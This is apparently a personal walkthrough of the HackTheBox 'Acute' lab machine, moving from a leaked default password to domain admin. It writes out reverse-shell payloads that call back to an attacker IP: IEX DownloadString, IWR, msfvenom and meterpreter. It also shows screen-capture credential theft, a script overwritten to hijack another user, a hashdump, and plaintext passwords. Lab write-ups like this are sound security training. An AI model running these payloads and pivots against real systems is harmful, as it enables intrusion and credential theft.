55 HTB Acute

Skills covered:

```
1. Virtual Hosting
2. Information Leakage
3. Abusing Windows PowerShell Web Access
4. Real-time monitoring of the victims screen
5. Getting remote command execution on another server - PIVOTING
6. Abusing a PowerShell file to get remote command execution as another user - User Pivoting
7. Dump Hives && Get Hashes
8. Cracking Hashes
9. Password Reuse
10. Abusing Cron Job - BAT file [Privilege Escalation]
```

1. **Nmap**
2. ***Whatweb without*** `https` **and then with** `https`**. Putting** `atsserver.acute.local` **in the hosts file allowed it to render otherwise it will not render.**

```
1. ~/hackthebox/acute ▷ whatweb https://10.10.11.145
https://10.10.11.145 [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.10.11.145],
Microsoft-HTTPAPI[2.0], Title[Not Found]
2. Then we try it using https
3. ~/hackthebox/acute ▷ whatweb https://atsserver.acute.local/
https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0],
IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript],
Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]
```

3. **On the website is a docx file. We open it in LibreOffice.**

```
1. New_Starter_CheckList_v7.docx
2. WE find a default password
3. default Password1!
4. I put the password away in my notes
5. ~/hackthebox/acute ▷ vim creds.txt
```

Windows *Powershell* Web Access

4. **There is a link the title is below. It takes you to a Windows *Powershell* Web Access Portal**

```
1. Arrange for the new starter to meet with other staff in the department as appropriate. This could include the
Head of Department and/or other members of the appointee's team. Complete the [remote]
(https://atsserver.acute.local/Acute_Staff_Access) training
2. https://atsserver.acute.local/Acute_Staff_Access
```

5. `New_Starter_CheckList_v7.docx` `exiftool`

```
1. ~/hackthebox/acute ▷ cp New_Starter_CheckList_v7.docx document.docx
2. ~/hackthebox/acute ▷ exiftool document.docx
.............................................
'ExifTool Version Number         : 12.60
File Name                        : document.docx
Directory                        : .
File Size                        : 35 kB
File Modification Date/Time      : 2023:10:10 22:13:12-06:00
File Access Date/Time            : 2023:10:10 22:13:12-06:00
File Inode Change Date/Time      : 2023:10:10 22:13:12-06:00
File Permissions                 : -rw-r--r--
Warning                          : Install Archive::Zip to decode compressed ZIP information
File Type                        : ZIP
File Type Extension              : zip
MIME Type                        : application/zip
Zip Required Version             : 20
Zip Bit Flag                     : 0x0006
Zip Compression                  : Deflated
Zip Modify Date                  : 1980:01:01 00:00:00
Zip CRC                          : 0x079b7eb2
Zip Compressed Size              : 428
Zip Uncompressed Size            : 2527
Zip File Name                    : [Content_Types].xml'
```

6. **For some reason I am having an error. It says it is a zip file when it is not a zip file**

> **We were looking for this anyway** `Acute-PC01`

7. **We sign into the Web Power-Shell Portal with the following creds**

```
1. Edavies
2. Password1!
3. Acute-PC01
```

8. **The Web Power-Shell Portal takes us to the following link. Which you can't get to unless you use the creds**

```
https://atsserver.acute.local/Acute_Staff_Access/en-US/console.aspx

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\edavies\Documents> whoami
acute\edavies
```

9. **We do a net user and we see all the other valid user logins**

```
PS C:\Users\edavies\Documents> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
Natasha                  WDAGUtilityAccount
The command completed with one or more errors.
PS C:\Users\edavies\Documents>

PS C:\Users\edavies\Documents>

dir C:\Users\


    Directory: C:\Users
Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----
d-----        12/21/2021   1:01 PM                administrator.ACUTE
d-----        12/22/2021   1:26 AM                edavies
d-----        12/21/2021  10:50 PM                jmorgan
d-----        11/19/2021   9:29 AM                Natasha
d-r---        11/18/2020  11:43 PM                Public
```

10. **We do a** `whoami /priv`

```
PS C:\Users\edavies\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

11. **Next we do a** `whoami /all`

```
Group Name                                    Type             SID          Attributes

============================================= ================ ============
Everyone                                      Well-known group S-1-1-0      Mandatory group, Enabled by default,
Enabled group

BUILTIN\.Remote .Management .Users               Alias            S-1-5-32-580 Mandatory group, Enabled by default,
Enabled group

BUILTIN\Users                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default,
Enabled group

NT AUTHORITY\NETWORK                          Well-known group S-1-5-2      Mandatory group, Enabled by default,
Enabled group

NT AUTHORITY\Authenticated Users              Well-known group S-1-5-11     Mandatory group, Enabled by default,
Enabled group

NT AUTHORITY\This Organization                Well-known group S-1-5-15     Mandatory group, Enabled by default,
Enabled group

Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default,
Enabled group

Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192
```

12. **Next we do a** `netstat -nat`

13. **Next we do a some *enumeration on the box*.**

```
1. cd C:\
2. dir
3. cd Utils (Nothing there)
4. dir -force
5. cd "Program Files"
6. dir
7. cd C:\
8. dir
9. cd Utils
10. mkdir test
11. rmdir test
```

14. **He is going to a *Nishang Reverse Shell* and** `rlwrap nc -lnvp 443`

```
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/nishang.ps1')
```

- *#pwn_iconv_base64_encode_hacktricks_IEX*

15. **FAILS, with regular IEX command and the encoded base64 one using iconv**

```
1. echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/nishang.ps1')" | iconv -t UTF-16LE |
base64 -w 0
2. powershell -nop -enc <paste_payload_here_remove_tags>

3. You can also you the -t full flag version its the same thing
4. echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/nishang.ps1')" | iconv --to-code UTF-
16LE | base64 -w 0
```

- *#pwn_msfvenom_payload_htb_acute*

16. **So we try MSFVENOM**

```
~/hackthebox/acute ▷ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
```

17. ***This is another very important command to learn IWR (Invoke Web Request)***

```
1. IWR -uri http://10.10.14.5/shell.exe -OutFile shell.exe
2. Execute the EXE payload
3. .\shell.exe
```

- *#pwn_iwr_command_invoke_web_request_htb_acute*

18. **This page has all of these important powershell commands**

```
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters
```

19. ***We need this file to capture the powershell strokes in this session. Once executed a bot will trigger simulating a real environment and type pscredentials with the creds in plaintext***

```
1. Google search: nircmd download windows
2. LINK https://www.nirsoft.net/utils/nircmd.html
3. Scroll down and download NirCmd 64-bit
```

20. **Upload it using IWR**

```
PS C:\Utils> IWR -uri http://10.10.14.5/nircmd.exe -OutFile nircmd.exe
```

21. **Then go here after you execute it and run this command**

```
1. LINK https://adictec.com/tomar-screenshot-con-cmd-windows/
2. PS C:\Utils> .\nircmd.exe savescreenshot capture.png
3. Now do a dir and the file capture.png should be there
.....................................................................
Mode                 LastWriteTime         Length Name                                  ----                 -------------
------ ----                           -a----        11/10/2023     08:17           4743 captura.png                -
a----        11/10/2023     08:08         119296 nircmd.exe                 -a----        11/10/2023     07:49
7168 shell.exe
```

22. **Start up and SMB server**

```
1. ~/hackthebox/acute ▷ sudo smbserver.py ninjafolder $(pwd) -smb2support
```

23. **So he wants to do a `meterpreter` *payload reverse shell* because it is very difficult to do it the manual way.**

```
1. ~/hackthebox/acute ▷ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o
reverse.exe
2. ~/hackthebox/acute ▷ msfdb init
3. ~/hackthebox/acute ▷ msfconsole
```

24. **Use *IWR* to get the file `reverse.exe`**

```
1. IWR -uri http://10.10.14.5/reverse.exe -OutFile reverse.exe
2. dir (It is there)
3. .\reverse.exe
```

25. ***Worked 1st time wow***

- *#pwn_meterpreter_screenshot*
- *#pwn_meterpreter_screenshare*

26. **Run *screenshot* and *screenshare* using `meterpreter` session to catch the admin typing in the pscredential store the plain text password. I captured some of the verbose output so you can see even with all the errors it worked perfectly**

```
meterpreter > screenshot
Screenshot saved to: /home/pepe/hackthebox/acute/mbdzGbSU.jpeg

meterpreter >

meterpreter > screenshare
[*] Preparing player...
[*] Opening player at: /home/pepe/hackthebox/acute/NgClPQHL.html
[*] Streaming...
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[54601:54601:1011/020604.219402:ERROR:viz_main_impl.cc(196)] Exiting GPU process due to errors during
initialization
[54568:54568:1011/020700.729217:ERROR:policy_logger.cc(154)]
:components/enterprise/browser/controller/chrome_browser_cloud_management_controller.cc(163) Cloud management
controller initialization aborted as CBCM is not enabled.
[54568:54568:1011/020701.560107:ERROR:object_proxy.cc(576)] Failed to call method:
org.freedesktop.portal.Settings.Read: object_path= /org/freedesktop/portal/desktop:
org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.portal.Desktop was not provided by any
.service files
[54568:54568:1011/020701.715744:ERROR:network_service_instance_impl.cc(663)] Network service crashed, restarting
service.
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[54692:54692:1011/020701.932547:ERROR:viz_main_impl.cc(196)] Exiting GPU process due to errors during
initialization
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[54678:8:1011/020702.080277:ERROR:command_buffer_proxy_impl.cc(129)] ContextResult::kTransientFailure: Failed to
send GpuControl.CreateCommandBuffer.
Warning: terminator_CreateInstance: Failed to CreateInstance in ICD 0.  Skipping ICD.
Warning: terminator_CreateInstance: Found no drivers!
Warning: vkCreateInstance failed with VK_ERROR_INCOMPATIBLE_DRIVER
    at CheckVkSuccessImpl (../../third_party/dawn/src/dawn/native/vulkan/VulkanError.cpp:88)
    at CreateVkInstance (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:458)
    at Initialize (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:344)
    at Create (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:266)
    at operator() (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:521)
```

27. **We captured a credential**

```
imonks:w3_4R3_th3_f0rce.
```

28. **We have to type the pscredential thing because we are on Acute Server and the password belongs to imonks on atsserver.**

```
1. $passwd = ConvertTo-SecureString 'W3_4R3_th3_f0rce.' -AsPlainText -Force
2. $cred = New-Object System.Management.Automation.PSCredential('acute\imonks', $passwd)
3. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {whoami}
.acute\imonks
4. PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -
ScriptBlock {hostname}
.ATSSERVER
```

29. **Now we enumerate with the invoke command**

```
1. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {pwd}
Path                        PSComputerName
----                        --------------
C:\Users\imonks\Documents ATSSERVER
```

```
2. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls
C:\Users\}
.............................................
 LastWriteTime      Length Name                  PSComputerName
-------------          ------ ----                  --------------
12/20/2021  11:30 PM                .NET v4.5                        ATSSERVER
12/20/2021  11:30 PM                .NET v4.5 Classic            ATSSERVER
12/20/2021   8:38 PM                 Administrator                   ATSSERVER
12/21/2021  11:31 PM                awallace                         ATSSERVER
12/21/2021   4:01 PM                 imonks                            ATSSERVER
12/22/2021  12:11 AM                lhopkins                         ATSSERVER
12/20/2021   8:38 PM                  Public                             ATSSERVER
3. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls
C:\Users\imonks}
```

30. ***Here is enumerating the flag using the `Invoke Command`.***

```
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type
C:\Users\imonks\Desktop\user.txt}

37a54613c4501fefb1b26923d97bf97f
```

31. **In the desktop directory there is a `wm.ps1` file worth looking at**

```
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type
C:\Users\imonks\Desktop\wm.ps1}
.............................................................
$securepasswd =
'01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c000000002000000000003660000c000
00001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f6728000
0009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a26
3a2ca854bc6e453c51'

$passwd = $securepasswd | ConvertTo-SecureString

$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)

Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
```

32. ***We are over writing `wm.ps1` to get a shell but the syntax is crazy and I am lost now.***

```
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock
{((Get-Content C:\Users\imonks\Desktop\wm.ps1 -Raw) -Replace 'Get-Volume','cmd.exe /c C:\Utils\shell.exe') | Set-
Content -Path C:\Users\imonks\Desktop\wm.ps1}
```

33. **We dump the hashes using Metasploit**

```
1. msf6 > use exploit/multi/handler
2. msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
3. msf6 exploit(multi/handler) > set LPORT 4444
4. msf6 exploit(multi/handler) > set LHOST 10.10.14.5
5. msf6 exploit(multi/handler) > show option
6. msf6 exploit(multi/handler) > run
7. meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
```

34. **Now we assume a shell as awallace as administrator**

```
PS C:\Utils> $passwd = ConvertTo-SecureString 'Password@123' -AsPlainText -Force

PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential('acute\awallace', $passwd)

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock
{whoami}
acute\awallace
```

35. **Enumerate as user awallace**

```
1. PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -
ScriptBlock {ls C:\Users\}
2. PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -
ScriptBlock {ls C:\"Program Files"\keepmeon\}
.....................................................
```

```
-a----         12/21/2021   2:57 PM            128 keepmeon.bat
3. PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -
ScriptBlock {type C:\"Program Files"\keepmeon\keepmeon.bat}
4. PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -
ScriptBlock {net group /domain}
.............................................................
*Cloneable Domain Controllers*DnsUpdateProxy*Domain Admins
*Domain Computers*Domain Controllers*Domain Guests
*Domain Users*Enterprise Admins*Enterprise Key Admins
*Enterprise Read-only Domain Controllers*Group Policy Creator Owners
*Key Admins*Managers*Protected Users*Read-only Domain Controllers
*Schema Admins*Site_Admin
The command completed with one or more errors.
5. PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -
ScriptBlock {net group Site_Admin /domain}
.............................................................
Group name     .Site_Admin
Comment        Only in the event of emergencies is this to be populated. This has access to Domain Admin group
6. Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {net user
awallace /domain}
```

36. **Root Flag**

```
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {type
C:\Users\Administrator\Desktop\root.txt}
```

ROOT FLAG: aa7c00cccbffec850b08c64ea824e4b0
